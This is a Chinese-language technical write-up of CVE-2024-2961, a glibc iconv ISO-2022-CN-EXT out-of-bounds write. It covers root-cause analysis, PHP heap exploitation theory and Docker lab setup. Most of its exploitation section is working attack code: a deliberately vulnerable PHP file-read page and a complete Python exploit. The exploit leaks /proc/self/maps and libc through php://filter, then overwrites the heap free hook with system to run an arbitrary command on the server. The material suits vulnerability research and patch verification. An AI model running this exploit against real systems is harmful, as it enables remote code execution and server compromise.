Overview

CVE-2024-2961 是一個發生在 GNU C Library(glibc)中 iconv() 函式的記憶體破壞漏洞。該漏洞源於編碼轉換模組 iconvdata/iso-2022-cn-ext.c,在處理特定中文字符(如「劄」「䂚」)並轉換為 ISO-2022-CN-EXT 編碼時,未正確檢查輸出 buffer 大小,導致會有 1–3 bytes 的 Out-of-Bounds (OOB) Write。

由於 iconv 常被用於 PHP,因此該漏洞可以與 php://filter/convert.iconv.* 結合,造成 Overflow,進而實現 leak、甚至達成 RCE。

Affected Versions

  • glibc iconv:支援 ISO-2022-CN-EXT 的版本
  • PHP:多數版本(含 PHP 7.x, 8.x)
  • 框架與系統:例如某些 Wordpress Plugin、PHP 7.0 的 Symfony 4.x 等,符合下列條件:
    • 有 file_get_contents($_GET[‘file’]) 類似行為
    • 可以透過 php://filter 執行 filter-chain

Root Cause Analysis

ISO-2022-CN-EXT 漏洞

  • 由多個子字符集組成,專門用於轉換中文字,是 ISO-2022-CN 的擴充,可以做大量中文字元轉換
  • 流程:需要編碼→發出轉義序列 (escape sequence) 告知需切換至哪個字符集
  • 在處理 escape sequence 時僅在部分路徑做 buffer boundary 檢查

source code

可以發現只有一條路徑有做 overflow 的 check

 1// iconvdata/iso-2022-cn-ext.c
 2
 3/* See whether we have to emit an escape sequence.  */
 4if (set != used)
 5{
 6    /* First see whether we announced that we use this
 7        character set.  */
 8    if ((used & SO_mask) != 0 && (ann & SO_ann) != (used << 8)) // [1]
 9    {
10        const char *escseq;
11
12        if (outptr + 4 > outend) // <-------------------- BOUND CHECK
13        {
14            result = __GCONV_FULL_OUTPUT;
15            break;
16        }
17
18        assert(used >= 1 && used <= 4);
19        escseq = ")A\0\0)G)E" + (used - 1) * 2;
20        *outptr++ = ESC;
21        *outptr++ = '$';
22        *outptr++ = *escseq++;
23        *outptr++ = *escseq++;
24
25        ann = (ann & ~SO_ann) | (used << 8);
26    }
27    else if ((used & SS2_mask) != 0 && (ann & SS2_ann) != (used << 8)) // [2]
28    {
29        const char *escseq;
30
31        // <-------------------- NO BOUND CHECK
32
33        assert(used == CNS11643_2_set); /* XXX */
34        escseq = "*H";
35        *outptr++ = ESC;
36        *outptr++ = '$';
37        *outptr++ = *escseq++;
38        *outptr++ = *escseq++;
39
40        ann = (ann & ~SS2_ann) | (used << 8);
41    }
42    else if ((used & SS3_mask) != 0 && (ann & SS3_ann) != (used << 8)) // [3]
43    {
44        const char *escseq;
45
46        // <-------------------- NO BOUND CHECK
47
48        assert((used >> 5) >= 3 && (used >> 5) <= 7);
49        escseq = "+I+J+K+L+M" + ((used >> 5) - 3) * 2;
50        *outptr++ = ESC;
51        *outptr++ = '$';
52        *outptr++ = *escseq++;
53        *outptr++ = *escseq++;
54
55        ann = (ann & ~SS3_ann) | (used << 8);
56    }
57}
  • 使得當 output buffer 不足,仍可能寫入 escape sequence 而造成 1~3 bytes 的 OOB Write。可觸發的字符包含:
    • (U+5284)
    • (U+409A)
    • (U+5CDB)
    • 湿(U+6E7F)

限制

  • 只能 overflow 1~3 bytes
  • 要呼叫到 iconv
  • 要控得到 ISO-2022-CN-EXT 的 input、output buffer

Exploitation Path

使用 php://filter 觸發 iconv

攻擊者可透過以下 filter chain 構造觸發 iconv:

1php://filter/convert.iconv.UTF-8.ISO-2022-CN-EXT/resource=...

配合 PHP Heap Layout 操作

PHP Heap 結構特性:

  • PHP 內建 memory manager 使用 emalloc/efree 配合 zend_mm_heap
  • 分配區域為固定 page(0x1000),依照 bin size(如 0x40、0x180)維護對應 freelist
  • 每個 bin 為 LIFO(後釋放的 chunk 先被回收)
  • 未使用 chunk 會記錄下一塊 chunk 的指標於 chunk header(可作為 attack vector)
  • 問題在於每個 HTTP request 都會建立獨立 heap,通常難以維持 exploit 狀態

Exploitation 方式:

  • 將資料放入 php_stream_bucket,構造特定大小的 heap chunk
  • dechunk filter 可將 buflen 調整至小於 heap size(縮減)
  • 接著透過 iconv.UTF-8.ISO-2022-CN-EXT 實現 OOB write,蓋掉 next chunk pointer
  • 最終達成對 zend_mm_heap->custom_heap_free function pointer 的覆寫(類似 __free_hook

PoC

環境建置

Dockerfile

 1FROM ubuntu:22.04
 2
 3ENV TZ=Asia/Taipei
 4RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone
 5
 6RUN apt update && \
 7    DEBIAN_FRONTEND=noninteractive apt install -y --allow-downgrades \
 8        tzdata software-properties-common \
 9        vim gcc g++ make \
10        ncat gdb wget curl \
11        nginx php php-cli php-fpm php-mbstring php-xml php-zip php-dev php-common php-cgi \
12        apt-src dpkg-dev \
13        libc6=2.35-0ubuntu3 libc6-dev=2.35-0ubuntu3 libc-dev-bin=2.35-0ubuntu3 \
14        php-pear php-json php8.1 php8.1-dev php8.1-cli php8.1-fpm php8.1-mbstring php8.1-xml php8.1-zip php8.1-cgi
15
16COPY index.php /var/www/html/index.php
17COPY poc.c /var/www/html/poc.c
18COPY exp.py /var/www/html/exp.py
19COPY nginx.conf /etc/nginx/sites-enabled/default
20COPY start.sh /start.sh
21
22RUN chmod +x /start.sh
23
24WORKDIR /var/www/html
25CMD ["/start.sh"]

docker-compose.yml

 1version: '3.8'
 2
 3services:
 4  cve2961:
 5    build:
 6      context: .
 7      dockerfile: Dockerfile
 8    image: cve-2024-2961:v2
 9    container_name: cve-2024-2961-container
10    ports:
11      - "80:80"
12    stdin_open: true
13    tty: true

先透過以下 script 驗證是否會 overflow

 1#include <stdio.h>
 2#include <string.h>
 3#include <iconv.h>
 4void hexdump(void *ptr, int buflen){
 5    unsigned char *buf = (unsigned char*)ptr;
 6    int i;
 7    for (i = 0; i < buflen; i++) {
 8        if (i % 16 == 0)
 9            printf("\n%06x: ", i);
10        printf("%02x ", buf[i]);
11    }
12    printf("\n");
13}
14int main(){
15    iconv_t cd = iconv_open("ISO-2022-CN-EXT", "UTF-8");
16    char input[0x10] = "AAAAA劄";
17    char output[0x10] = {0};
18    char *pinput = input;
19    char *poutput = output;
20    size_t sinput = strlen(input);
21    size_t soutput = sinput;
22    iconv(cd, &pinput, &sinput, &poutput, &soutput);
23    hexdump(output, 0x10);
24    return 0;
25}

image

可以發現確實 overflow 了一個 byte

後續的 exploit 使用直接建置 php 網頁的方式去做攻擊

Dockerfile

 1FROM php:8.2.0-apache
 2
 3RUN apt-get update && apt-get install -y \
 4    locales \
 5    wget \
 6    gcc \
 7    g++ \
 8    build-essential \
 9    vim \
10 && rm -rf /var/lib/apt/lists/*
11
12RUN echo "zh_TW.UTF-8 UTF-8" > /etc/locale.gen && locale-gen
13
14RUN docker-php-ext-install iconv
15
16WORKDIR /var/www/html
17COPY index.php .
18
19EXPOSE 80

docker-compose.yml

1version: '3.8'
2services:
3  web:
4    build: .
5    ports:
6      - "8080:80"
7    container_name: cve-2024-2961-custom
8    restart: unless-stopped

index.php

1<?php    
2$data = file_get_contents($_POST['file']);
3echo "File contents: $data";

exploit.py:參考自 cnext-exploits

  1from __future__ import annotations
  2import base64, zlib, sys, re
  3from pathlib import Path
  4from requests.exceptions import ConnectionError, ChunkedEncodingError
  5from pwn import *
  6from ten import *
  7
  8heap_size = 2 * 1024 * 1024
  9vulnerability = "劄".encode("utf-8")
 10session = Session()
 11url = ""
 12command = ""
 13heap = None
 14pad_size = 20
 15info = {}
 16
 17def send(path, url):
 18    return session.post(url, data={"file": path})
 19
 20def download(path, url):
 21    path = f"php://filter/convert.base64-encode/resource={path}"
 22    response = send(path, url)
 23    data = response.re.search(b"File contents: (.*)", flags=re.S).group(1)
 24    return base64.decode(data)
 25
 26def compress(data):
 27    return zlib.compress(data, 9)[2:-4]
 28
 29def b64(data, misalign = True):
 30    return base64.encode(data).encode()
 31
 32def compressed_bucket(data):
 33    return chunked_chunk(data, 0x8000)
 34
 35def qpe(data):
 36    return "".join(f"={x:02x}" for x in data).upper().encode()
 37
 38def ptr_bucket(*ptrs, size = None):
 39    bucket = b"".join(map(p64, ptrs))
 40    bucket = qpe(bucket)
 41    bucket = chunked_chunk(bucket)
 42    bucket = chunked_chunk(bucket)
 43    bucket = chunked_chunk(bucket)
 44    bucket = compressed_bucket(bucket)
 45    return bucket
 46
 47def chunked_chunk(data, size = None):
 48    if size is None:
 49        size = len(data) + 8
 50    keep = len(data) + len(b"\n\n")
 51    size = f"{len(data):x}".rjust(size - keep, "0")
 52    return size.encode() + b"\n" + data + b"\n"
 53
 54def download_file(remote_path, local_path):
 55    data = get_file(remote_path)
 56    Path(local_path).write_bytes(data)
 57
 58def _get_region(regions, *names):
 59    for region in regions:
 60        if any(name in region["path"] for name in names):
 61            return region
 62    return None
 63
 64def find_main_heap(regions):
 65    heaps = []
 66    for region in reversed(regions):
 67        is_heap_region = (
 68            region["permissions"] == "rw-p" and
 69            (region["stop"] - region["start"]) >= heap_size and
 70            region["stop"] & (heap_size - 1) == 0 and
 71            region["path"] in ("", "[anon:zend_alloc]")
 72        )
 73        if is_heap_region:
 74            heap_address = region["stop"] - heap_size + 0x40
 75            heaps.append(heap_address)
 76    first = heaps[0]
 77    print(f"Using {hex(first)} as heap")
 78    return first
 79
 80def get_file(path):
 81    return download(path, url)
 82
 83def get_regions():
 84    maps = get_file("/proc/self/maps").decode()
 85    PATTERN = re.compile(
 86        r"^([a-f0-9]+)-([a-f0-9]+)\b.*\s([-rwx]{3}[ps])\s(.*)"
 87    )
 88    regions = []
 89    for line in table.split(maps, strip=True):
 90        if match := PATTERN.match(line):
 91            start = int(match.group(1), 16)
 92            stop = int(match.group(2), 16)
 93            permissions = match.group(3)
 94            path = match.group(4).rsplit(" ", 1)[-1] if "/" in match.group(4) or "[" in match.group(4) else ""
 95            regions.append({
 96                "start": start,
 97                "stop": stop,
 98                "permissions": permissions,
 99                "path": path
100            })
101    return regions
102
103def get_symbols_and_addresses():
104    regions = get_regions()
105    LIBC_FILE = "/dev/shm/cnext-libc"
106    info["heap"] = heap or find_main_heap(regions)
107    libc = _get_region(regions, "libc-", "libc.so")
108    download_file(libc["path"], LIBC_FILE)
109    info["libc"] = ELF(LIBC_FILE, checksec=False)
110    info["libc"].address = libc["start"]
111
112def build_exploit_path():
113    LIBC = info["libc"]
114    ADDR_EMALLOC = LIBC.symbols["__libc_malloc"]
115    ADDR_EFREE = LIBC.symbols["__libc_system"]
116    ADDR_EREALLOC = LIBC.symbols["__libc_realloc"]
117
118    ADDR_HEAP = info["heap"]
119    ADDR_FREE_SLOT = ADDR_HEAP + 0x20
120    ADDR_CUSTOM_HEAP = ADDR_HEAP + 0x168
121    ADDR_FAKE_BIN = ADDR_FREE_SLOT - 0x10
122    CS = 0x100
123
124    pad = b"\x00" * (CS - 0x18)
125    pad = chunked_chunk(pad, len(pad) + 6)
126    pad = chunked_chunk(pad, len(pad) + 6)
127    pad = chunked_chunk(pad, len(pad) + 6)
128    pad = compressed_bucket(pad)
129
130    step1 = b"\x00" * 1
131    step1 = chunked_chunk(step1)
132    step1 = chunked_chunk(step1)
133    step1 = chunked_chunk(step1, CS)
134    step1 = compressed_bucket(step1)
135
136    step2 = b"\x00" * (0x48 + 8)
137    step2 = chunked_chunk(step2, CS)
138    step2 = chunked_chunk(step2)
139    step2 = compressed_bucket(step2)
140
141    step2_write_ptr = b"0\n".ljust(0x48, b"\x00") + p64(ADDR_FAKE_BIN)
142    step2_write_ptr = chunked_chunk(step2_write_ptr, CS)
143    step2_write_ptr = chunked_chunk(step2_write_ptr)
144    step2_write_ptr = compressed_bucket(step2_write_ptr)
145
146    step3 = b"\x00" * CS
147    step3 = chunked_chunk(step3)
148    step3 = chunked_chunk(step3)
149    step3 = chunked_chunk(step3)
150    step3 = compressed_bucket(step3)
151
152    step3_overflow = b"\x00" * (CS - len(vulnerability)) + vulnerability
153    step3_overflow = chunked_chunk(step3_overflow)
154    step3_overflow = chunked_chunk(step3_overflow)
155    step3_overflow = chunked_chunk(step3_overflow)
156    step3_overflow = compressed_bucket(step3_overflow)
157
158    step4 = b"=00" + b"\x00" * (CS - 1)
159    step4 = chunked_chunk(step4)
160    step4 = chunked_chunk(step4)
161    step4 = chunked_chunk(step4)
162    step4 = compressed_bucket(step4)
163
164    step4_pwn = ptr_bucket(
165        0x200000, 0, 0, 0,
166        ADDR_CUSTOM_HEAP,
167        *([0] * 13),
168        ADDR_HEAP,
169        *([0] * 11),
170        size=CS,
171    )
172    step4_custom_heap = ptr_bucket(ADDR_EMALLOC, ADDR_EFREE, ADDR_EREALLOC, size=0x18)
173
174    COMMAND = f"kill -9 $PPID; {command}".encode() + b"\x00"
175    COMMAND = COMMAND.ljust(0x140, b"\x00")
176    step4_use_custom_heap = qpe(COMMAND)
177    step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
178    step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
179    step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
180    step4_use_custom_heap = compressed_bucket(step4_use_custom_heap)
181
182    pages = (
183        step4 * 3 + step4_pwn + step4_custom_heap + step4_use_custom_heap +
184        step3_overflow + pad * pad_size + step1 * 3 + step2_write_ptr + step2 * 2
185    )
186    resource = compress(compress(pages))
187    resource = b64(resource)
188    resource = f"data:text/plain;base64,{resource.decode()}"
189    filters = [
190        "zlib.inflate", "zlib.inflate", "dechunk",
191        "convert.iconv.L1.L1", "dechunk",
192        "convert.iconv.L1.L1", "dechunk",
193        "convert.iconv.L1.L1", "dechunk",
194        "convert.iconv.UTF-8.ISO-2022-CN-EXT",
195        "convert.quoted-printable-decode", "convert.iconv.L1.L1"
196    ]
197    return f"php://filter/read={'|'.join(filters)}/resource={resource}"
198
199def exploit():
200    path = build_exploit_path()
201    try:
202        send(path, url)
203    except (ConnectionError, ChunkedEncodingError):
204        pass
205
206def run():
207    get_symbols_and_addresses()
208    exploit()
209
210if __name__ == "__main__":
211    if len(sys.argv) < 3:
212        print("Usage: python test_copy.py <url> <command>")
213        sys.exit(1)
214    url = sys.argv[1]
215    command = sys.argv[2]
216    run()

image